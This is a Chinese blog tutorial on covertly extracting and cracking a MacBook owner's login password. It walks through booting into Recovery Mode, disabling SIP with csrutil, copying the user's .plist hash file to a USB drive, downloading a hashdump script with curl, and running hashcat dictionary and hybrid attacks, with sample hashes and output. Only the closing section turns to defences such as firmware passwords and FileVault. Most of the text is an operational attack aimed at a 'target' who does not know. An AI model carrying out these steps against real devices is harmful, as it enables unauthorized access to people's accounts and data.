在对方没有察觉的情况下破解Mac密码

关闭电源的MacBook可在不到三分钟的时间内完成。只需几个命令,黑客就有可能在不知情的情况下提取目标的密码哈希并对其进行破解。

本文的目标是获取目标的.plist文件,其中包含散列密码。然后,使用Python脚本将.plist文件转换为Hashcat可以解释的格式,它强制要求它显示密码。执行此攻击的最简单方法需要物理访问目标MacBook,恢复模式,USB闪存驱动器,另一台MacBook和Hashcat。

也可以通过在目标MacBook上创建临时用户来执行命令来省略USB闪存驱动器和攻击者的MacBook。完成后,可以删除临时用户。但是,对于本指南,我们将显示USB闪存驱动器方法。

恢复模式Mac设备支持几种启动模式之一它包括许多用于重新安装macOS,重置帐户密码和配置固件密码的工具。虽然此功能旨在帮助用户锁定其帐户并擦除内部硬盘驱动器,但它经常被黑客试图获取未经授权的敏感文件访问权限所滥用。

从Mojave 10.14开始,macOS不再允许用户(甚至root用户)在操作系统运行时修改包含散列密码的.plist文件。现在只能使用恢复模式获取此数据。

  • 不要错过:如何转储存储在Firefox浏览器中的密码

需要USB闪存驱动器才能将目标的.plist文件从MacBook移动到攻击者。本教程中使用的USB闪存驱动器是FAT32格式的,但NTFS和APFS格式也可以使用。

特色Python脚本中有一些特定于macOS的命令,可以很容易地将.plist文件转换为Hashcat可以解释的格式。这就是为什么需要另一台MacBook(或目标MacBook上至少另一个帐户)的原因。

要找出目标的Mac密码而不更改它,哈希将需要暴力破解。MacOS在保护目标密码方面做得非常出色。无法以纯文本格式查看用户密码。基于CPU的破解解决方案(如JohnTheRipper)将花费数十年时间来破解单个散列,因此无效。强烈建议使用具有良好GPU的Hashcat。


步骤1进入恢复模式

要访问恢复模式,请首先确保目标MacBook完全关闭。然后,在按住键盘上的Command + R的同时按电源按钮大约30秒后,将出现Apple徽标,并且可以释放Command + R键。如果出现以下屏幕,则表示已成功启用恢复模式,读者可以继续执行本教程中的下一步。

图像来自Apple

如果MacBook请求密码,则表示固件受到保护并配置为防止恢复模式攻击。不幸的是,这意味着目标MacBook不容易受到本文所示的攻击。

步骤2禁用SIP(有条件)

Apple的系统完整性保护(SIP)是一项安全功能,旨在限制部分macOS被修改。从Mojave开始,/ var / db / dslocal / nodes / Default /目录在SIP保护范围内,如果有人试图查看它,将返回“不允许操作”消息。它甚至可以防止root用户更改和访问选择的目录。

在一次测试中,我发现即使在恢复模式下也无法查看或修改默认/目录。这有点异常,因为其他测试允许在没有首先禁用SIP的情况下访问Default /。


要确定是否需要禁用SIP,请在恢复模式下打开终端。在屏幕顶部的菜单栏中,选择“Utilities”,然后选择“Terminal”。然后,使用以下ls -R命令。

ls -R /Volumes/<hard drive name>/var/db/dslocal/nodes/Default/

此命令将尝试递归(-R)列出Default /目录中的文件。如果输出返回许多.plist文件,请不要禁用SIP并继续执行本教程中的下一步。如果输出返回“Operation not allowed ”,请使用以下csrutil命令禁用SIP 

csrutil disable

Successfully disabled System Integrity Protection. Please restart the machine for the changes to take effect.

出现重启提示后,再次关闭并启动进入恢复模式。禁用SIP后,可以安全地继续本教程的下一步。

步骤3提取目标Plist

将USB闪存盘插入目标MacBook。等几秒钟让它自动安装。然后,使用以下cp命令将所需的.plist文件复制到USB驱动器目标.plist将使用目标的用户名(例如,tokyoneon.plist)。

cp /Volumes/<hard drive name>/var/db/dslocal/nodes/Default/users/<username>.plist /Volumes/<usb name>/

请务必在上面的命令中更改<硬盘驱动器名称>这可能是“macOS”,但如果目标在几年前购买MacBook并升级到Mojave或High Sierra,可能会有所不同。在这种情况下,硬盘驱动器名称可能显示为“Macintosh HD”或某些变体。另外,将<usb name>更改为插入MacBook的USB闪存盘。


而已。已经提取了必要的文件,目标MacBook可以关闭,本教程的其余部分需要攻击者拥有的单独的MacBook。如果在上一步中禁用了SIP,请在使用以下命令关闭之前重新启用它。

csrutil enable

步骤4将Plist复制到Attack的机器

使用攻击者的MacBook,插入包含目标的.plist的USB闪存驱动器,并将其复制(cp)到/ tmp /目录。/ tmp /目录在下一步中被硬编码到Python脚本中,以使其足够通用,以供所有读者遵循。只要目标的.plist文件位于/ tmp /目录中,Python脚本就能将其转换为哈希。

cp /Volumes/<usb name>/<username>.plist /tmp/


步骤5下载并执行Hashdump Python脚本

用于将提取的.plist文件转换为Hashcat首选格式的Python脚本取自Empire框架,可以在GitHub上找到打开终端并使用以下curl命令下载hashdump脚本-o参数将保存脚本与“hashdump.py”文件名。

curl 'https://raw.githubusercontent.com/tokyoneon/hashdump.py/master/hashdump.py' -o hashdump.py

然后,使用chmod命令授予脚本执行权限

chmod +x hashdump.py

最后,使用root权限执行hashdump.py脚本。

sudo python hashdump.py

[('tokyoneon', '$ml$27548$ba6261885e349ecb847854136cf32e9561cd1af65616f7ce11abb3f04786729c$88ad7849c5b30cce20b9d6ecde9e5be3b6736646965e0414d45d40510a574f864bafd9c5dc06fdb3cb189b877c3aa1312c2e4497ea854d3653f5861365d41a4250042a78c93dace17d212ccbb6584e3350efe95bd138f27b1705ad97166d2f11fb749b6138139a9e1ebeecb1a96750db53dbf75434c4b320b500589fa64bf5f8')]

删除哈希周围的文本(如下所示)并将其保存到名为“hash.txt”的文件中。然后,将hash.txt移动到Hashcat机器。

$ml$27548$ba6261885e349ecb847854136cf32e9561cd1af65616f7ce11abb3f04786729c$88ad7849c5b30cce20b9d6ecde9e5be3b6736646965e0414d45d40510a574f864bafd9c5dc06fdb3cb189b877c3aa1312c2e4497ea854d3653f5861365d41a4250042a78c93dace17d212ccbb6584e3350efe95bd138f27b1705ad97166d2f11fb749b6138139a9e1ebeecb1a96750db53dbf75434c4b320b500589fa64bf5f8


第6步破解哈希

要使用Hashcat破解目标的哈希,请使用以下命令。

hashcat -a 0 -m 7100 /path/to/hash.txt /path/to/wordlists/passwords.txt -w 4 --potfile-path /tmp/cracked_hash.pot

使用-a 0参数指定字典攻击或“直接模式” 特定于macOS的散列模式使用-m 7100参数启用,并且对于从10.8或更高版本中提取的所有macOS散列都是必需的。要提高Hashcat的整体性能,请将-w(或--workload-profile)设置为4,以最大限度地提高破解速度。最后, - potfile-path参数用于将破解的哈希保存到指定的文件。

还可以执行混合攻击,其中数字组合被附加到词列表中的每个词的末尾。例如,“password12”和“password77”。

hashcat -a 6 -m 7100 /path/to/hash.txt /path/to/wordlists/everyword.txt ?d?d -w 4 --potfile-path /tmp/db.pot

使用-a 6参数启用混合攻击这次包含479,000个英语单词的“ everyword ”单词表?d?d结合使用,它告诉Hashcat将每个可能的两位数组合附加到单词表中的每个密码。要附加三位或四位数,请分别使用“?d?d?d”和“?d?d?d?d”。


在Hashcat运行时,将显示以下数据。如果密码正确猜测,它将出现在终端的底部,Hashcat将停止。

Session..........: hashcat
Status...........: Running
Hash.Type........: macOS v10.8+ (PBKDF2-SHA512)
Hash.Target......: $ml$27548$ba6261885e349ecb847854136cf32e9561cd1af65...d41a42
Guess.Base.......: File (/root/wordlists/passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:     7740 H/s (98.63ms) @ Accel:256 Loops:64 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/329968 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/329968 (0.00%)
Candidates.#1....: 123456 -> zzzzzzzz9
HWMon.Dev.#1.....: Temp: 57c Fan: 31% Util:100% Core:1873MHz Mem:3802MHz Bus:16

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>

哈希破解注意事项

确定哈希将要破解多长时间很难推测。基于几个因素,字典和混合攻击可能需要不同的时间。

  • 单词列表长度 - 显然,包含数十亿字的单词表可能需要数小时,数天甚至数月才能完成。在对macOS哈希执行暴力攻击时,建议使用特定于目标的小词列表

  • 散列迭代 - 并非所有macOS散列都是相同的。哈希迭代被用作“减速因子”,这在计算单个密码尝试时基本上迫使CPU和GPU花费更长的时间。在我对Mojave和High Sierra的测试中,迭代次数各不相同。在某些情况下,迭代次数设置为27,000。其他时间超过45,000。从我的一轮测试中不清楚这个值是随机设置还是特定于每个版本的macOS。有一件事是肯定的,这个值越大,Hashcat必须用来破解单个哈希的时间越长。较高的迭代次数可能是每秒25,000次密码尝试与1,000次密码尝试之间的差异。要确定提取的.plist中使用的迭代次数,请再次查看目标的哈希值(如下所示)。在哈希开始时,在第二个和第三个美元符号($)之间,迭代次数(27,

$ml$27548$ba6261885e...
  • GPU模型 - 使用旧的GeForce GTX 1060显卡和27,548次迭代的哈希,每秒可执行约8,000次密码尝试。所使用的GPU类型将极大地影响攻击的整体性能。建议不要使用早于GTX 750ti的GPU。

如何保护自己免受恢复模式攻击

用户可以采取一些措施来抵御此类攻击(见下文)。有关一般的macOS保护建议

  • 启用固件密码保护要防止攻击者启动到实时USB,单用户模式或恢复模式,请设置固件密码。如果有人尝试将MacBook引导至单用户,启动管理器,目标磁盘或恢复模式,则固件仅在引导时提示输入其他密码。但是,如果从MacBook上物理移除磁盘,单独的固件密码将无法保护硬盘驱动器。要获得更多保护,请启用硬盘加密。

  • 启用FileVault加密可以通过导航到“系统偏好设置”,然后“安全和隐私”,然后单击“打开FileVault”(可能需要先解锁设置)来启用FileVault。完成后,每次Mac启动时,MacBook都会重新启动并需要密码才能解锁计算机。不允许任何帐户自动登录,访问单用户模式也需要密码。这是防止对加密磁盘进行攻击的最佳方法,即使它是从笔记本电脑中物理删除的。一个复杂的密码长度超过21个字符,建议以防止专用蛮力攻击的硬件。


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容